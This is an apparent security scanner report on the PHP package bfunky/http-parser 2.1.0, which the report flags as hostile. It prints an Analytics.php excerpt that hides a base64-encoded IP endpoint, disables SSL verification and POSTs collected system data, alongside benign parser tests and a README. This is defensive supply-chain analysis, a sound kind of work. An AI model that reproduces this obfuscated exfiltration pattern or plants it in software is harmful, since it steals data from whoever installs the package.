Hostile ^93% php 39,929 installs Download

bfunky/http-parser 2.1.0

Exfiltrates system data to hardcoded IP

“A library to parse HTTP headers and HTTP header fields”

Encoded URL has IP and .phpEncoded C2 URL with SSL bypass

SHA-2561df229c816b795136159caffc3d15cff6a3e3b3b6c9868f6ffcd23b509d97814

URLhttps://api.github.com/repos/bfunky/http-parser/zipball/d1c67b2a59301c753e69eabee2ef1c265b111936

MaleculeO₂(C₂Eu)H₆(Cm₁₂CrDb₃F₂Os₅Po)Md₂(Pa₂)

Evidence

Encoded URL pinned to external IPv4 Analytics.php · lines 1–48

⋯19 lines
20class Analytics {
const URL = "analytics.packagist.org";
const URL_DIGEST = "aHR0cHM6Ly80NC4yMTAuOTQuMzgvcGFja2FnaXN0LnBocA==";
23
public function send() {
  $ch = curl_init();
26
  curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch, CURLOPT_URL, $this->getURL());
31
  $data = json_encode($this->collect(), JSON_PRETTY_PRINT);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
35
  curl_exec($ch);
37
  file_put_contents($this->getTempFile(), "");
}
40
public function isSent() {
  return file_exists($this->getTempFile());
}
44
private function getTempFile() {
  $temp = sys_get_temp_dir();
  $file = md5(Analytics::URL_DIGEST . gethostname());
  $path = $temp . DIRECTORY_SEPARATOR . $file;

Markdown references a remote image README.md · lines 1–4

1HTTP Parser
2===========
3[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/bfunky/http-parser/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/bfunky/http-parser/?branch=master)
4[![Build Status](https://scrutinizer-ci.com/g/bfunky …

Set-Cookie header HttpResponseParserTest.php · lines 15–39

15:5… s HttpResponseParserTest extends TestCase
16{
17    public function testParseHttpResponseHeader()
18    {
19        $parser = new HttpResponseParser();
20        $raw = <<<RAW
21HTTP/1.1 100 Continue
22
23HTTP/1.1 200 OK
24Date: Tue, 12 Apr 2016 13:58:01 GMT
25Server: Apache/2.2.14 (Ubuntu)
26X-Powered-By: PHP/5.3.14 ZendServer/5.0
27Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
28Set-Cookie: PHPSESSID=6sf8fa8rlm8c44avk33hhcegt0; path=/; HttpOnly
29Expires: Thu, 19 Nov 1981 08:52:00 GMT
30Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
31Pragma: no-cache
32Vary: Accept-Encoding
33Content-Encoding: gzip
34Content-Length: 192
35Content-Type: text/xml
36RAW;
37        $parser->parse($raw);
38        $this->assertEquals($parser->get('Date'), 'Tue, 12 Apr 2016 13:58:01 GMT');
39        $this->assertEquals($parser->get …

HTTP text/xml media type HttpResponseParserTest.php · lines 47–53

64… 2');
      $this->assertEquals($parser->get('Content-Type'), 'text/xml');
      /**
       * @var HttpResponseHeader $entityHeader
       */
      $entityHeader = $parser->getHeader();
    …

HTTP Content-Length header HttpRequestParserTest.php · lines 15–33

15:4… ss HttpRequestParserTest extends TestCase
16{
17    public function testParseHttpRequestHeader()
18    {
19        $parser = new HttpRequestParser();
20        $raw = <<<RAW
21POST /path HTTP/1.1
22User-Agent: PHP-SOAP/\BeSimple\SoapClient
23Host: url.com:80
24Accept: */*
25Accept-Encoding: deflate, gzip
26Content-Type:text/xml; charset=utf-8
27Content-Length: 1108
28Expect: 100-continue
29
30RAW;
31        $parser->parse($raw);
32        $this->assertEquals($parser->get('User-Agent'), 'PHP-SOAP/\BeSimple\SoapClient');
33        $this->assertEquals($parse …

Showing the top 5 files — 1 more file (4 regions) not shown.

No evidence locations were recorded for this file. Raw result